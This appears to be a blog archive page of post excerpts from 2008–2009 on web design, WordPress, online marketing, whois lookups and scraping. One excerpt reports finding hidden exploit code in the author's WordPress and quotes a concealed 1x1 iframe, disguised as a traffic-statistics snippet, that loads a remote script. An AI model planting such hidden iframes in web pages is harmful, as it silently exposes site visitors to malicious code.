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21 July 2009 Comments Off

How Not to Craft an Order Page

I am not a User Interface designer by any means, but when I was confronted with this order page I immediately popped a blood vessel in my brain and stalled on what to do next. If you have an e-commerce site, and your order page looks like this, STOP.  Do not do ONE MORE THING [...]

15 July 2009 9 Comments

How to Split Test Your WordPress Theme (w/ Plugin)

Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I will make changes and improvements but at this point I am just throwing together a 15 minute SOLUTION not a complete idiot-proof package.  Please, give me feedback, I appreciate it.  [...]

4 May 2009 3 Comments

How to Get Rich Online

Everyone wants a guide to get rich online. Here is a 5-step guide, with approximately how much time you should spend on each. 1. Pick a topic or niche and create a site about it. It doesn’t matter what it is. – 1% 2. Create a little bit of content. – 5% 3. Use twitter, [...]

28 January 2009 Comments Off

Prevent, Protract, Process

I did a Google search for “chargeback guardian” the other day, and here’s what I saw: The irony of those title tags is beautiful. In case you don’t get it… Charge Back Guardian is a company that processes credit card payments and helps to prevent chargebacks. Presumably if you’re selling an iffy product you’d want [...]

23 July 2008 1 Comment

Semi-Comprehensive TLD Whois Response List

For one of the coolest features of our Tools project I needed to be able to accurately determine domain availability. Here’s what I came up with: $domain_ext = array( ‘.com’ => array(‘whois.crsnic.net’,’No match for’), ‘.net’ => array(‘whois.crsnic.net’,’No match for’), ‘.biz’ => array(‘whois.biz’,’Not found’), ‘.mobi’ => array(‘whois.dotmobiregistry.net’, ‘NOT FOUND’), ‘.tv’ => array(‘whois.nic.tv’, ‘No match for’), ‘.in’ [...]

2 April 2008 1 Comment

Soft Launch of Fighters.com, Finally

It has been a long time in coming, but we’ve finally been able soft-launch Fighters.com. The site is pretty web-1.0 right now and most of the content is site->user, but that will change soon. Check it out, let me know what you think. I know there will be bugs, but if you’re waiting to find [...]

10 March 2008 6 Comments

Nice Exploit Code I Found in my WordPress

I was going through some old posts just now, and discovered this little treat embedded in a post: <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –> The code that it’s loading (I know it doesn’t wrap, I don’t really care.) Code deleted. Thanks to Mike Peters for the follow-up [...]

6 March 2008 1 Comment

AdCenter Still Sucks

I haven’t had an active campaign running in 6 months or more. FIX YOUR SHIT.

29 January 2008 11 Comments

How much would you pay to use Google?

I got to thinking about how much I use Google to answer questions the other day. My search activity calendar looks like this every month: Even between Jan 1-3 when I was in Vegas I did 1-3 searches. Some months are even more heavy than this. So how much would I pay? I wouldn’t have [...]

11 January 2008 7 Comments

Tips on Writing a Scraper

A couple weeks ago I got an email from a friend asking for some tips on writing a scraper. As I was responding, I realized it would make a good post. I think writing scrapers is one of my specialties, and I’ve yet to come across a site I haven’t been able to pillage. Here’s [...]